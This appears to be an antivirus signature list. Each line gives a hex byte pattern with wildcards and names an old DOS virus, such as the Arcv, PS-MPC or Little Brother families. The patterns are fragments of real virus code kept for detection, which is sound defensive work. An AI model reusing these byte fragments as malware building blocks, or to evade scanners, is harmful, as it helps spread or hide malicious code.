        01 ff cd 21 3d ff 01 75 33 5e 07 1f Drop [Drop]
        80 7d 16 eb 75 03 e9 84 00 8d 55 1e Mini-207 [M207]
        8b f7 7a ab 91 f6 d0 fc a1 Terminator 2 [Tm2]
        89 9e 5c 03 8c 86 5e 03 b4 25 8d 96 Ancient [Anc]
        b4 18 cc 2e 80 35 ?01 47 4e 75 f8 Malmsey Habitat v3.b [MH3]
        ba 9c 03 b4 3b cd 21 b8 2a 2e 89 45 50 Cossiga No Grazie [CNG]
        b9 cb 01 e9 61 03 e8 30 00 e8 0c 01 CFSK [CFSK]
        a1 13 04 48 a3 13 04 b1 06 d3 e0 2d c0 07 Parity Boot B [ParB]
        81 f9 ff 03 74 06 83 c3 10 41 eb f2 Aragorn [Arag]
        83 2e 13 00 02 cd 12 f7 e3 8e c0 33 c0 X-3A [X3B]
        83 2e 13 00 02 cd 12 f7 e3 8e c0 33 c0 X-3A [X3]
        80 3e 82 07 57 74 60 33 f6 e8 a3 00 0b c0 Fvhs-a [OW]
        80 3e 68 08 57 74 60 33 f6 e8 a3 00 0b c0 Fvhs-B [OW]
        6c fe ?03 e2 fe *04 81 ?05 75 f6 Arcv10 [ARC]
        e8 7a b0 21 eb fd fd a9 06 Patch [OW]
        89 1e 20 04 8c 06 22 04 33 c0 8e c0 26 Pegg [Pg]
        80 3e b0 02 90 90 74 22 b4 42 b0 00 8b 1e ba 02 No Party [OW]
        8e 47 fe 26 80 3e 00 00 4d 75 1b 26 Weak [Wek]
        8d 96 35 01 cd 21 b4 4e b9 22 00 Luca-309 [Luc]
        b9 eb 01 81 35 ?02 83 c7 03 83 ef 01 Death [Dth]
        b9 55 01 81 37 ?02 83 ?02 e2 f7 90 RadyumB [RdB]
        b9 a6 01 *03 81 37 ?02 83 ?02 e2 f7 90 Radyum-C [RdC]
        b9 11 02 81 34 ?02 ad e2 f9 Soupy [Sou]
        8d b6 57 01 57 fc a5 a4 b8 a3 30 Dorn [Dorn]
        8d b6 6f 01 bf 00 01 57 a5 a4 b8 a0 30 AusPar [APa]
        8d b6 cf 01 bf 00 01 57 a5 a5 b4 4e Elvirus [Elv]
        8d b6 73 01 bf 00 01 57 a5 a4 b8 a7 30 Grue [Gru]
        b9 ce 02 be 00 01 33 ff f3 a4 Kuang [Kug]
        80 3e ?01 ff bd 74 db b8 00 57 T-series [Tser]
        81 ee 1a 01 8b ee e9 4d 0d Penis Size [Pen]
        8d 9e c2 02 b9 5a 00 8a b6 c1 02 8a 27 32 e6 Smell [BS]
        bb 33 01 8a 27 90 32 26 06 01 90 88 27 43 Lepro-B1 [OW]
        b9 fe 06 56 03 f1 2e ff 04 5e 83 c1 02 1804 [1804]
        89 8d 0c 00 2e 89 9d 0a 00 b8 09 35 Iranian [Irn]
        bb 01 01 2e 81 35 ?02 47 47 4b 75 f6 Bamestra [Bam]
        01 9c 20 01 ff b4 02 21 ff b4 1e 01 8b c2 Fich897 [Fic]
        bf fc 02 f3 a4 06 1f be 84 00 b8 42 03 BA101 [BA1]
        b9 ca 01 ac 34 ?01 aa e2 fa c3 Flex [Flex]
        13 04 ff 0d ba 40 00 f7 e2 2d 30 00 Essex [Ess]
        be cc 00 81 35 ?02 47 47 4e 75 f7 Ant-Cow [ACow]
        81 ed 06 01 81 fc 4e 41 74 0b 8d b6 c1 01 Anninja [ANJ]
        bb 28 01 bd ?02 2e 81 ?04 45 45 4b Gold [Gld]
        8b 0e 96 00 8b 16 98 00 cd 21 b4 3e cd 21 Fone Sex [OW]
        8a 94 4d 07 ?01 b9 f6 06 2e 30 17 ?01 43 17th of November [17th]
        e8 00 00 5d fa 8b ?01 bc ?02 b9 89 05 ?01 33 ?02 5a eb 00 Teletype [Ttp]
        8b 36 01 01 81 c6 80 01 bf 00 01 b9 03 00 fc XTAC [XTa]
        8d b6 22 01 8b fe b9 9d 01 ac 34 ?01 aa Wharps [Wha]
        be 7f 02 bb ?02 2e 81 ?03 43 43 4e Taocheng [Tao]
        be 64 01 bb ?02 2e 81 37 ?02 43 43 4e NAPC [NAPC]
        81 bc ad 04 4d 5a 74 20 fa bc b0 05 03 e6 Uriel [Uri]
        b9 5d 04 8b fe 06 1e 0e 0e 07 1f fc bb Bert [Bert]
        b9 00 05 eb 00 eb 00 eb 00 e8 00 00 58 e2 f4 SRE [SRE]
        5b 83 eb 72 53 8f 06 04 00 Whale [Whale]
        b8 fe de cd 21 3d cd ab 74 51 1e a1 2c Little Girl3 [LG3]
        75 0b 81 fa 34 12 75 05 b8 78 56 9d cf e9 Uruguay [Uru]
        bf 55 4e be 4d 44 cd 2f 3d 00 fe Nazgul [Naz]
        8a b6 ae 03 2e 8a 27 32 e6 2e 88 27 43 e2 f5 c3 Bubbles [IVP]
        b9 bc 01 2e 81 ?03 83 c6 02 49 75 f5 Ice 9 [I9]
        b9 13 01 5e 81 ee 21 02 8d bc 0b 01 80 330 [330]
        b9 e8 03 1e 0e 1f f3 a4 8e d8 b8 21 Egg [Egg]
        bb 95 01 eb 21 33 c0 be 00 7c fa BFD [BFD]
        89 9d 17 04 2e 8c 85 19 04 8d 95 84 03 Cyber-946 [Cyb]
        ea 3e 7c 00 40 33 db 8e c3 Kiev 3 [Kiv]
        ea 3e 7c 00 40 33 db 8e c3 Kiev 3 [Kiv]
        bf fa 1b be ee 01 b9 13 00 90 fc 2e Nazi-Phobia [Pho]
        b9 7e 03 2e 81 ?03 47 47 e2 f7 PSM-WARE [PS-MPC]
        b9 69 00 ac 32 06 16 01 aa 49 83 f9 ff T-1000 [T1]
        b9 33 02 81 ?05 e2 f8 c3 VCL EQ [VCL]
        ba 9d 01 33 c9 cd 21 b8 02 3d ba 1e fc VX-163 [VX]
        81 ee 08 01 58 2d 00 01 a2 ff 00 56 Otto-415 [Oto]
        ba 9e 00 bf 9e 00 b0 00 b9 0c 00 Msk [Msk]
        8d b4 03 02 bf 00 01 b9 04 00 f3 Lippi-286 [Lip]
        8d 3e 4e 01 fc f3 a4 b8 00 00 26 a3 29 01 Virdem [Vde]
        8a 84 3d 01 81 c6 6a 01 b9 cf 01 30 04 46 Commy [Com]
        81 3d 9c 50 75 03 e9 eb 00 ba ff ff Semtex-B [Sem]
        8d 96 99 03 b9 03 00 cd 21 83 fe 03 Skull [Skl]
        be 4c 05 8b 1c 0b db 74 3e b8 dd 34 New S [NSA]
        bb 33 01 b9 bd 01 90 8a 27 80 f4 ff 88 27 Seneca-B [Sen]
        bf ed 3d 1e 57 9a 72 00 d9 01 MSJ [MSJ]
        b9 de 00 bf ?02 81 35 ?02 47 47 e2 f8 PS-MPC [PS-MPC]
        ba 4e 01 b8 02 3d cd 21 8b d8 b9 2e 00 Small [Sma]
        ba 42 01 b4 4e b9 07 00 cd 21 72 27 Small2 [Sma]
        81 fb 69 05 75 ec b4 00 cd 16 a1 7b 05 Deceide2 [Dei]
        bb 39 01 8a 2f 90 32 2e 03 01 88 2f Skism808 [Skm]
        b9 76 04 e8 00 00 5d 81 ed 9f 04 1f 03 fd Boat [Bot]
        b9 2b 01 2b ff f3 a4 b4 4e b9 06 Meditation [Mdt]
        bb 1e 01 c7 47 e0 cd 21 c7 47 e2 eb 14 Jos [Jos]
        8d b6 ff 02 b9 06 00 f3 a4 b4 a0 Civil War II [CWII]
        8d 75 02 eb 09 8e 5f 16 8b 5f 16 DIR III [D3]
        fe 00 14 e9 9c 00 c8 f3 fe ce f3 e6 23 2a ef LZ91 [OW]
        81 ed 47 03 2e 89 86 41 04 8c c0 CLS-583 [Cls]
        b9 cb 06 90 be 18 01 2e a0 0e 01 Como [Como]
        83 2e 13 04 06 8c c8 8e d8 48 8e c0 26 81 CrazyI15 [Craz]
        83 eb 4e 90 b8 00 4a cd 21 bb 4b Dark End [Den]
        81 fd 3e 01 75 f0 ff 26 21 01 Gyro [OW]
        83 fc e0 72 f6 33 c0 8e c0 26 Hard Days [Hdy]
        b8 b0 01 50 ff 76 06 9a House [OW]
        b8 4b 55 26 39 06 dc 01 74 78 26 Iero-512/560 [Iero]
        01 a0 f4 02 2e a2 02 01 b9 00 01 bb Infector [Inf]
        81 c5 03 01 c6 46 15 10 fc 8d 76 02 Ionk-2371 [Ionk]
        81 ee c0 00 b9 ea 00 f3 a4 5e bf e0 01 Junior [Jun]
        81 3e 4f 02 4b 4c 74 22 8e c0 bf 00 02 KLF-356 [KLF]
        8b 1e e8 03 8b 47 18 a3 c2 09 Lep-FVHS [OW]
        8d 9e 24 03 8b d3 b4 1a cd 21 8d 86 ff 02 Matura [Mat]
        b9 28 02 8e d8 40 83 2e 03 00 30 Play Tet [Tet]
        01 c6 84 d3 00 61 b4 1a 8d 94 df Polt-226 [Polt]
        81 c6 5a 02 81 c7 5e 02 fc ad ab ad 05 Press [Prs]
        89 9c de 02 8c d8 2e 01 84 82 00 2e Prob-734 [Pro]
        b9 ec 01 1e 8c c8 8e d8 80 34 Ryazan [Ryz]
        c7 44 52 ca 02 ba 50 00 b8 03 25 Seacat [Sea]
        83 ed 07 50 8d b6 1b 00 89 f7 b9 CybTech A/B [Cyb]
        81 ec 48 06 44 44 58 33 c2 83 c2 Witch [Wch]
        81 ed c5 01 2e 8b 46 16 2d 72 19 Signs [Sgn]
        b8 03 12 cd 2f 33 f6 ad 3d 2e 3a Tony-203 [Ton]
        89 56 1f e8 61 04 e8 6c 03 UFA-1201 [UFA]
        b9 fb 00 81 37 ?02 83 c3 02 e2 f7 Radyum [Rad]
        8d 56 88 90 b9 3f 00 cd 21 72 1a Angarsk [Ang]
        b9 db 01 f3 a4 eb c5 20 41 64 Adolf Hitler [Ado]
        ba c0 01 b8 21 25 cd 21 Changsha [Csh]
        81 3d 9c 50 75 19 ba ff ff fc Semtex-C/D [Sem]
        8a 16 31 00 bb 37 00 80 3e 31 00 00 74 957 [957]
        01 88 2f 43 81 fb e2 04 7e f1 c3 Rythem [OW]
        3e 5d 09 01 74 16 e8 7b 00 80 3e 5e 2878 [2878]
        b8 d6 06 26 a3 04 00 8c d8 26 a3 06 00 Ekoterror [Eko]
        8d 54 6f b4 4e cd 21 72 35 ba 1e ff Dutch Tiny [TinD]
        bf 08 20 1e 57 8d be 00 ff 16 57 EvenBB11 [BB11]
        be 05 01 b9 03 00 fc f3 a4 b8 24 LV [LV]
        b9 46 01 90 d1 e9 41 03 74 02 Ghost A [GhA]
        b9 60 05 fc ba ?02 ac 32 c2 02 c6 aa 1403 [1403]
        8d 1e d2 05 b1 04 d3 eb 43 b4 48 Witcode [Wit]
        b9 58 0d 81 eb a9 0d 2e 80 37 ?01 83 Fishy [Fsh]
        01 be 9c 00 33 c0 8e d8 bf 8f 43 Tabulero 2 [Tab2]
        72 2b 81 fa 00 ef 77 25 b4 3d b0 02 ba 1e f0 Deicide [Dei]
        8b 0f e3 12 4f 8a 00 47 32 c3 33 c6 Starship [Stsh]
        e8 00 00 5b 81 eb 30 01 2e f6 87 Yap [Yap]
        b0 ?01 b9 40 07 2e 30 04 46 e2 fa Casteggi [Cast]
        be 03 01 8b 14 81 c2 90 03 cd 21 Bryansk [Brs]
        bf 00 01 8d b6 eb 01 a5 a4 8d 96 e5 01 Civil War [CW]
        b9 23 04 83 c6 2d 90 8b fe ac 32 c4 Cloud [Cld]
        8b 44 fe b9 9e 03 bb 04 00 06 1f 31 07 NED [NED]
        e9 00 00 b9 eb 09 b8 05 fe eb fc Mindless [OW]
        e8 00 00 83 2e fc ff 1a ba 2a ff b4 1a cd 21 e8 3b 00 75 2f Timid [Tmd]
        5d 81 ed ?01 00 81 fc 80 01 72 *17 b4 00 cd 1a Wilbur [Wil]
        5d 81 ed 03 00 8b d4 2b d5 80 fe 27 Wilbur 3 [Wil]
        8a 0e 09 00 bb 36 00 8a 07 32 c1 fe c1 99% [99%]
        89 76 12 8b ea 33 c0 56 e8 6d Necro Fear [NFr]
        b9 e0 2e e2 fe 87 fe e4 61 24 fc Proto-T [Proto]
        bf 9a 03 be 0d 01 b9 0c 00 f3 a4 Acme [Acme]
        b8 cc ff cd 21 3d ff cc 74 0d 2e AI [AI]
        ba bf 03 b0 03 ee 8c c8 8e d8 b8 e2 bf Bit Addict [Bit]
        8b 1e e7 02 89 1e e3 02 b4 1a 8d 16 fd 02 Brotherhood [Bhd]
        b8 de de cd 21 80 fc 41 74 23 b8 44 Little Brother 299 [LB299]
        8b 54 2d 90 2e 8b 00 33 c2 2e 89 Necro Shadow [NSh]
        81 fa 86 80 74 0a 26 c7 06 00 00 86 80 Finn-357 [Finn]
        be a5 02 cd 21 b4 1a ba 7a 02 cd 21 b4 Deicide [OW]
        8a 16 01 01 b9 6b 02 30 04 30 d0 fe c0 Scream1 [Scr1]
        26 0e 09 8c c8 8e d0 bc 90 0a Tomato [Toma]
        81 ed 06 01 81 fc 4d 43 74 0b 8d b6 c3 01 Page [PS-MPC]
        b9 39 01 bf ?02 2e 81 ?03 47 47 e2 f7 Eclypse [PS-MPC]
        81 ed 06 01 81 fc 52 4a 74 0b 8d b6 ee 01 Tongue [PS-MPC]
        e2 fe be ?02 ba 79 01 2e 81 34 ?02 46 46 Toys [PS-MPC]
        d8 e8 cf 01 26 a1 2c 00 48 8e c0 26 8b 0e Uri [Uri]
        81 c6 1b 00 b9 90 47 36 80 34 ?01 46 G3 [G3]
        01 b9 89 01 f3 a4 ea 1b 01 0e Puke [Pke]
        81 ee 17 01 56 81 c6 8d 05 bf 00 01 b9 04 Philipo [Pio]
        8d be 1f 00 b9 f9 02 31 0d 31 3d 47 49 Serena [Ser]
        b9 0f 04 8a a4 2f 05 8d bc 20 01 89 fe VCS [VCS]
        81 c6 fc 00 bf 00 01 fc a5 a5 81 ee 03 01 Torm-263 [Trm]
        8d be 71 01 a5 a5 a5 a5 b4 1a 8d Cheesy [Ches]
        be 3a 01 2e 81 ?03 47 47 4e 75 f6 Sun Damaged [Sund]
        bf 6c fe bd ?02 2e 81 ?04 45 45 47 75 f5 Arcv-1A [ARC]
        bf bf fe be ?02 81 34 ?02 46 46 47 75 f7 Arcv-3A [ARC]
        be ?02 bf 1a ff 81 34 ?02 46 46 47 75 f7 Arcv-5 [ARC]
        be ?02 bf 60 ff 81 ?03 46 46 47 75 f7 Arcv-6 [ARC]
        ba fa fe bd ?02 2e 81 76 ?03 45 45 42 75 f5 Arcv-7 [ARC]
        ba b5 fe bb 10 01 2e 81 07 00 00 43 43 42 75 f6 Arcv-8 dropper [ARC]
        b8 b5 fe bf ?02 2e 81 2d ?02 47 47 40 75 f6 Arcv-8 [ARC]
        b5 fe ?02 00 2e 81 ?06 75 f6 Arcv-8 [ARC]
        7a 01 81 ?06 75 f7 Arcv-9 [ARC]
        7a 01 81 ?06 e2 f7 Arcv-9 [ARC]
        93 fe 81 ?06 75 f7 Arcv-9 [ARC]
        5b 81 eb ?02 81 c3 ?02 53 5f b9 ?01 15 81 e9 Arcv-Fri [ARC]
        8d 84 82 01 ff e0 2a 2e 43 4f 4d 00 2a UNEXE [Une]
        8d be bc 01 a5 a5 a5 a5 c6 86 29 03 MPC-Test [MPC]
        01 8a 2f 32 2e 03 01 88 2f 43 81 fb Repent [OW]
        bd ac 34 ?01 aa fe c9 80 f9 ff 75 f5 Simple [OW]
        8a 84 79 02 8a e0 b1 04 d2 e8 Zaphod [Zap]
        1f fc bb ?01 00 ad 33 c3 ab e2 fa Terminator 2 [Term2]
        80 7c 3b 01 75 02 1e 06 8c c0 2e 01 44 39 Barrotes [Bar]
        8a 16 31 00 bb 37 00 80 3e 31 00 00 74 957 [957]
        81 ed 30 01 8d b6 e9 02 bf 00 01 b9 03 00 fc Viva Mexico [VMx]
        d6 83 c6 00 *01 fc b9 03 00 bf 00 01 Plumbum [Plu]
        8d b6 5d 01 bf 00 01 57 a5 a4 b4 1a Smallarc [Sma]
        8d b6 77 01 8d be 6f 01 a5 a5 a5 a5 b4 1a Smallexe [Sma]
        8d b6 16 02 bf 00 01 a5 a5 b8 00 33 7thson 332b [7th]
        81 3d 07 07 75 07 8d 55 02 b4 09 7thson 284 [7th]
        8b fe 03 74 02 56 a5 a5 5e b8 00 33 7thson 284a [7th]
        be 10 02 a0 38 02 3c 02 75 03 e9 9a 06 Chcc [Chcc]
        e8 00 00 5d *05 b9 20 02 *0a 8a 16 07 01 EMF 625 [EMF]
        8d bc 0e 01 b9 c9 02 2e 80 35 X-2 [X2]
        81 7d 03 56 31 75 07 0e 06 b8 72 01 Arriba [Arr]
        8d b6 33 01 8b fe b9 e3 00 ad 33 86 12 01 Marauder 2 [MA2]
        a1 fb 02 8c c3 03 c3 a3 54 02 X-1 [X1]
        b9 dd 01 be ?02 2e 81 ?03 46 46 e2 f7 Chuang-Tzu [Tzu]
        ba 5a 01 cd 21 b4 43 b0 00 ba 9e 00 KODE4v1 [Kod]
        8d 9e 10 01 b9 10 02 2e 8a b6 38 03 Wild Thing [Wth]
        c7 04 49 e1 c6 44 02 37 56 b9 01 01 ad DROPPER [OW]
        be 00 01 *04 c7 04 ?02 c6 44 02 *0d e2 *05 c3 DROPPER [OW]
        eb 0e ?01 49 ?03 54 *0c cd 21 Shirley [Shl]
        36 02 01 0e 56 83 c6 0a b9 d3 01 c3 Highland [High]
        81 7d 03 58 45 75 26 eb 01 90 e8 16 EEL [EEL]
        8a 4c 03 8c c3 33 f6 8a 00 32 c1 PSV [PSV]
        21 bf af 00 be a3 00 e8 70 00 57 Sick [Sck]
        b9 d8 00 81 37 ?02 83 c3 02 e2 f7 Radyum [Rad]
        e6 20 fc b6 04 8e d8 33 f6 bf 3c 01 b9 10 15xx Variant [15]
        80 3e 6c 00 19 72 03 e9 b0 00 bf ad 00 3040 [3040]
        81 fa 1a 06 75 4f b0 02 b9 80 00 33 d2 B3 [B3]
        04 1b f6 c6 06 0e 04 ff bb 60 00 b4 4a DIR-2 910 [910]
        80 fc f9 74 47 8c c0 48 8e c0 b8 1a 03 Ed [Ed]
        1e 74 02 8c 06 76 02 8c c8 48 Youth [Yth]
        90 56 33 c0 8e d8 bf 97 01 03 fe V600 [V600]
        83 c6 2c a4 a5 b8 35 00 8e c0 33 ff L1 [L1]
        01 b9 98 01 81 ?05 e2 f8 Diogenes [Dio]
        81 ef 9c 09 b7 ?01 1e b7 ?01 0e 1f b3 ?01 8a Yan2505a [Yan]
        ba 51 07 *08 eb 0e *08 d0 cc *06 e2 f6 Crusher [Crsh]
        b4 90 cd 21 80 fc 88 74 64 b8 HBT [HBT]
        8d 54 12 cd 21 8b de 8d 77 43 8d 7f Mr. Vir [MV]
        80 f4 4b 75 ?01 b8 02 3d cd ?01 72 ?01 93 *02 b5 Sergant [Sg]
        01 ab 58 87 01 ab 1f b5 fd 07 5f f3 a4 Sma-108a [Sma]
        2e 80 37 ?01 43 81 fb 19 02 7c f5 Filedate [FDt]
        07 b4 1a 8d 94 ?02 cd 21 b9 04 00 8d 94 Polish Tiny [PlT]
        ba 9e 00 cd 21 b7 40 *02 ba 00 01 *03 cd 21 b4 *05 eb *02 2a 2e OW [OW]
        81 ed 06 01 8d b6 ca 01 bf 00 01 57 a5 a4 203 [203]
        8c c8 05 ?01 00 8e d8 33 db 33 c0 40 8a 17 ABC [ABC]
        5e c7 84 e4 02 2e 43 b4 1a ba 59 03 TMTM [TMTM]
        bf 94 01 bd ?02 2e 81 ?04 45 45 4f 75 f5 Arcv-1 [ARC]
        b9 52 01 2e 81 ?03 46 46 e2 f7 Arcv-2 [ARC]
        bf 41 01 be ?02 81 34 ?02 46 46 4f 75 f7 Arcv-3 [ARC]
        81 ed 06 01 81 fc 4f 50 74 0b 8d b6 86 01 Arcv-4 [ARC]
        bf 35 04 03 fd b9 03 00 f3 a4 8b c5 Chrisj13 [Cj13]
        f5 bf 00 01 fc a5 a4 e8 63 03 b4 3b ba f6 Dima [Dima]
        21 3d 49 4c 74 16 0e 0e 1f 07 NCU Li [Li]
        81 ee 17 01 8d bc 2b 01 b9 d6 02 80 35 Scroll [Scl]
        8d 5e 0e b9 0f 01 b0 ?01 30 07 43 Dismember [Dsbr]
        b8 ?01 00 be ?02 b9 ?02 31 04 46 e0 fb Frodo Soft [FSof]
        8d b7 4a 01 bf 00 01 f3 a4 53 8d 97 4d 01 Frodo-458 [F458]
        b9 5a 05 2e 80 37 ?01 43 e2 f9 HA [HA]
        ba 9d 01 b4 4e b9 0b 11 cd 21 90 73 02 IB Demonic [OW]
        83 ee 0b 56 33 c0 8e c0 b8 4b 55 Iernim [Ier]
        b9 da 01 2e 81 37 ?02 83 c3 02 49 Joshua [Jsh]
        5e 81 c6 ?02 b4 bb cd 21 80 fc aa Lycee [Lyc]
        ba 81 02 cd 21 72 09 e8 3a 01 Malmsey [OW]
        ba 9f 01 e8 ed ff 04 02 cd 21 ba d9 01 Malmsey2 [Malm]
        b8 07 c8 31 db cd 21 83 fb ff 75 03 Minsk-GH [Mgh]
        b8 f1 4b cd 21 3d b4 1f 75 13 2e 8e 16 12 00 2e Jeru-1663 [J1663]
        80 fc eb 74 2b fc 0e 1f ?04 bf 00 02 8b cf Larry [Lar]
        80 7c f8 00 74 03 e8 7b 02 b8 91 90 cd 21 Ninja [Nja]
        5e 83 ee 04 33 c0 2e 8c 9c f9 02 8e d8 b0 4e Nygus-KL [Nkl]
        20 20 28 43 29 20 62 79 20 4f 53 43 41 52 20 20 Oscar [OW]
        5e 83 ee 03 1e b8 21 35 cd 21 fa 2e 8c 84 ?01 03 Problem [Prb]
        e8 00 00 ?01 2e fc ff 09 *01 ba 2a Timid-LM [TLM]
        ba 63 03 b4 09 cd 21 2e a2 41 03 b4 47 Twin Peaks [OW]
        21 3d 08 21 75 32 fa 07 e8 e9 02 2e 81 Vietnamese [Vt]
        4b 20 fc ?01 c0 8e d8 ?01 f6 bf 3c 01 Green Catapillar [Gcat]
        8b 8e 62 01 f3 a4 8e d9 be 84 Blood Rage [Bra]
        b8 eb 02 eb fc ba f2 01 b8 01 25 Druid [OW]
        bb 54 01 ?04 b9 0e 07 ?03 51 ?03 2e a0 0e 01 Prime Evil B [PEB]
        ba 2e 02 33 c9 cd 21 72 4d b4 3d ba 54 02 b0 00 355 [355]
        bc f7 03 8b dc 83 c3 0f b1 04 d3 eb Clonewar [Clw]
        b8 aa aa cd 21 3d bb bb 74 65 1e Copyr-ug [Cug]
        e0 8e c0 ba ?02 26 81 3e 00 01 Tula [FW]
        e0 8e c0 26 80 3e c6 06 53 74 41 Tula [FW]
        ee 03 2e 89 *29 33 d2 b4 *06 81 fa 90 19 SVC [SVC]
        b9 bf 01 2e 81 ?03 83 c6 02 49 Joanna [Joa]
        b9 3f 02 bf ?02 fc ad ?03 ab e2 f9 Sandwich [Sand]
        b9 51 02 bf ?02 fc ad ?03 ab e2 f9 Scythe [Scy]
        8d bc 1c 01 b9 a5 02 80 35 ?01 47 e2 fa Anna [Anna]
        80 3e 80 01 66 b4 09 75 07 ba c5 03 Budo [Bud]
        b9 ad 03 be 1b 01 89 f7 ac 34 00 aa e2 Futhark [Futh]
        b9 41 01 f3 a4 8e d9 be 84 00 bf 41 02 Little Brother 321 [LB]
        bf 33 02 ba 35 01 ad 3b c2 74 09 ab a5 06 Little Brother 307 [LB]
        b9 5d 01 f3 a4 8e d9 be 84 00 bf 5d 02 Little Brother 349 [LB]
        01 b4 4e b9 27 00 cd 21 72 1b b4 2f cd 21 Little Brother 361 [LB]
        21 eb e8 b8 08 00 03 c3 8b d0 b8 Medical [Med]
        b9 9f 06 ?02 e8 00 00 *04 81 ?03 00 ?02 80 ?01 ff ?01 e2 f9 PCBB3 [PCB]
        b8 40 4a ba 3a 25 3b c4 73 67 8b c4 SQR [SQR]
        21 83 ee 03 80 fc 21 75 02 eb 6b 33 c0 Reaper [Rea]
        b9 17 01 be ?02 2e *04 46 46 e2 f7 Walkabout [Walk]
        fc 06 1e 07 be 6e 01 bf 81 01 WinVir [WinVir]
        01 a2 ff 00 56 b9 60 02 81 c6 Otto [Otto]
        b8 c7 07 8b d8 89 c1 05 39 36 cd 21 Jump4Joy [J4J]
        bf 10 03 03 fe b0 99 b9 71 00 8a 25 Ice 9 [I9]
        1e 6a 00 03 c3 2e a3 11 00 2e a1 6c 00 Tabulero [Tab]
        8c 06 cf 00 be 9c 00 33 c0 8e d8 bf 8f 43 Tabulero [Tab]
        8a 86 5d 02 b9 3a 02 2e 30 46 00 45 e2 f9 c3 Rocko [Roc]
        8b 96 55 02 8d 9e 29 01 b9 77 00 31 17 Grunt [344]
        8b c8 2d 00 01 a3 fa 00 03 0e ?02 89 0e Bljec [Blj]
        8b 96 57 02 8d 9e 30 01 b9 74 00 31 Grunt 1B [Grnt]
        83 6f 12 72 8e 47 12 0e 1f b9 20 06 f3 Coffee Shop 1 [Cf1]
        01 3b 45 01 74 02 eb ef 83 c7 03 KODE4 [K4]
        8a 94 36 07 ?01 b9 0f 07 2e 30 17 ?01 43 Pojer [Poj]
        b9 ?02 80 ?02 b0 ?08 f8 Ontario 3 [Ont3]
        b9 ?02 82 ?02 b0 ?08 f8 Ontario 3 [Ont3]
        be ?02 b4 ff cd 21 3d 66 06 74 3b 302 [302]
        be 70 02 bf 4b 02 b9 25 00 fc ac aa e2 fc FCB [OW]
        83 fb f0 75 03 e9 8b 00 b0 00 1014 [1014]
        81 c7 03 01 26 80 3d 06 74 0a 104 [104]
        5b 81 eb *11 e8 *11 38 ?02 d0 ?01 *04 68 *02 84 *08 50 Xpeh [XP]
        be f1 1a b9 e7 0c fd f3 a5 fc Triple Shot [3Sht]
        8a 84 b3 01 a2 02 01 e8 3d 01 74 13 439 [439]
        fe 87 3e 00 8a 97 3d 00 80 fa 01 595 [595]
        bf ?02 b9 3a 01 2e 81 ?03 47 47 e2 f7 644 [644]
        81 ed 06 01 81 fc 41 44 74 0b Abraxas [Abrx]
        bb 32 01 8a 27 32 26 06 01 90 88 27 43 Acid [Acd]
        b9 e2 01 bf ?02 fc ad ?03 ab e2 f9 Joanna [Joa]
        83 2e 02 00 51 8b 1e 02 00 2b dd Agena [Agn]
        81 eb 0c 01 8d b7 1f 01 b9 88 03 Capital [Cpt]
        b8 19 00 50 cb 58 2e 8f 06 ?01 00 Astra [Astr]
        89 85 a9 04 a1 92 00 2e 89 85 ab 04 Cyber [Cybr]
        b8 60 35 cd 21 fc 8b fb 8d 36 95 02 Cerburus [Cerb]
        01 24 0a 3c 0a 75 26 b8 03 00 Chad [Chad]
        81 ed 30 01 8d b6 f1 02 bf 00 01 b9 03 00 H-457 [Coa]
        bb 7d 01 bf ?02 2e 81 35 ?02 47 47 Crumble [Crm]
        8a 9c 2f 05 8d bc 20 01 b9 0f 04 Telekom [GTk]
        bd 04 01 8b 6e 00 81 c5 06 01 83 ed 40 Rebo-715 [R715]
        81 ed 07 01 8d b6 1e 01 b9 d4 01 2e 81 34 Quake-o [Qo]
        83 ee 03 8c c0 05 10 00 2e 03 Les [Les]
        83 ed 06 33 c0 8e d8 81 3e 64 01 Hi [Hi]
        83 c6 e9 b9 06 00 fc f3 a5 ff e2 Fune [Fune]
        b8 0f 03 b1 04 d3 e8 bb ff 0f 03 d8 39 End-of [Eof]
        fd 08 75 f1 f6 de 80 e6 01 32 ed Fam [Fam]
        01 9c 0e b8 03 35 cd 21 89 1e 86 01 IOU [IOU]
        89 9e f8 02 8c 86 fa 02 b4 1a 8d 96 fc 02 IT [IT]
        8b 1e 01 01 81 c3 03 01 83 eb 70 8b 87 23 00 Freddy [Fred]
        09 01 89 16 0b 01 52 b4 1a ba e8 fd July 26 [J26]
        b9 fd 00 bb ?02 81 ?03 43 43 e2 f8 No Wednesday [NWed]
        8b 3e 6a 00 8a 85 20 00 30 e4 31 d2 Pas-5220 [P5220]
        8c 9c fe 02 8e d8 b0 4e 38 06 88 03 Nygus [Ngs]
        b8 93 1b 50 e8 30 02 59 ff 36 c4 20 Silver 3d [S3d]
        8b b6 3f *02 01 8d be 5f 01 b9 42 01 31 35 Particle Man [PMN]
        a1 1f 01 3d 02 02 74 0b 8c c8 2d 10 PI [PI]
        b8 cd ab cd 21 81 fb cd ab 74 64 0e NPox 2.0 [NPOX2]
        b8 dc ab cd 21 81 fb dc ab 74 64 0e NPox 2.1 [NPOX2]
        89 26 56 00 8c d3 2e 89 1e 54 00 8c cb TimeMark [Tim]
        f3 b9 80 00 8c c0 40 8e c0 8c db 3b c3 74 04 Reklama [Rkm]
        e9 7c 05 cd 21 8c c9 83 c1 10 Soyun [Soy]
        07 26 80 3e ff 04 ff 75 01 Swiss Phoenix [SPh]
        b8 84 00 50 e9 2c 07 90 2e 8c 1e ee 07 Walker [Wlk]
        b8 53 15 ba 72 01 05 00 00 3b 06 02 00 73 1a Madismo [Mds]
        81 ff 8d 00 75 03 04 08 47 57 cf VM [VM]
        f3 a4 *10 47 65 72 67 61 6e 61 Gergana [Gerg]
        81 ed 03 01 be 8b 01 03 f5 bf 00 01 7thSon [7S]
        b8 da da cd 21 80 fc a5 74 *13 1e 06 Gotcha [Gtc]
        21 b4 4f eb e8 c3 5c 2a 2e 2a 00 Bogus [BUG] 
        1f a1 13 04 8b c8 b1 06 d3 Bogus [BUG] 
        eb 69 00 02 10 00 38 00 01 00 Bogus [BUG] 
        be f6 fd 3a 83 c1 fd 74 31 80 3e Hara [kiri]
        fd be f8 0a eb bc 62 e9 c2 04 00 03 64 e9 LZ2 [LZ2]
        cd f1 da e3 62 9a e5 f2 fe bf 48 LZ [LZ]
        16 07 01 83 c2 03 cd 21 72 17 b4 40 b9 6f Fri13-nz [Fnz]
        8b ?01 01 01 *05 81 ?01 23 01 *0c 31 *0c 49 *0c e2 Arka [Ark]
        b9 ff ff 49 b8 ?02 81 e9 ?02 bf 00 01 81 cf 01 00 *0c 31 *0c e2 Arka [Ark]
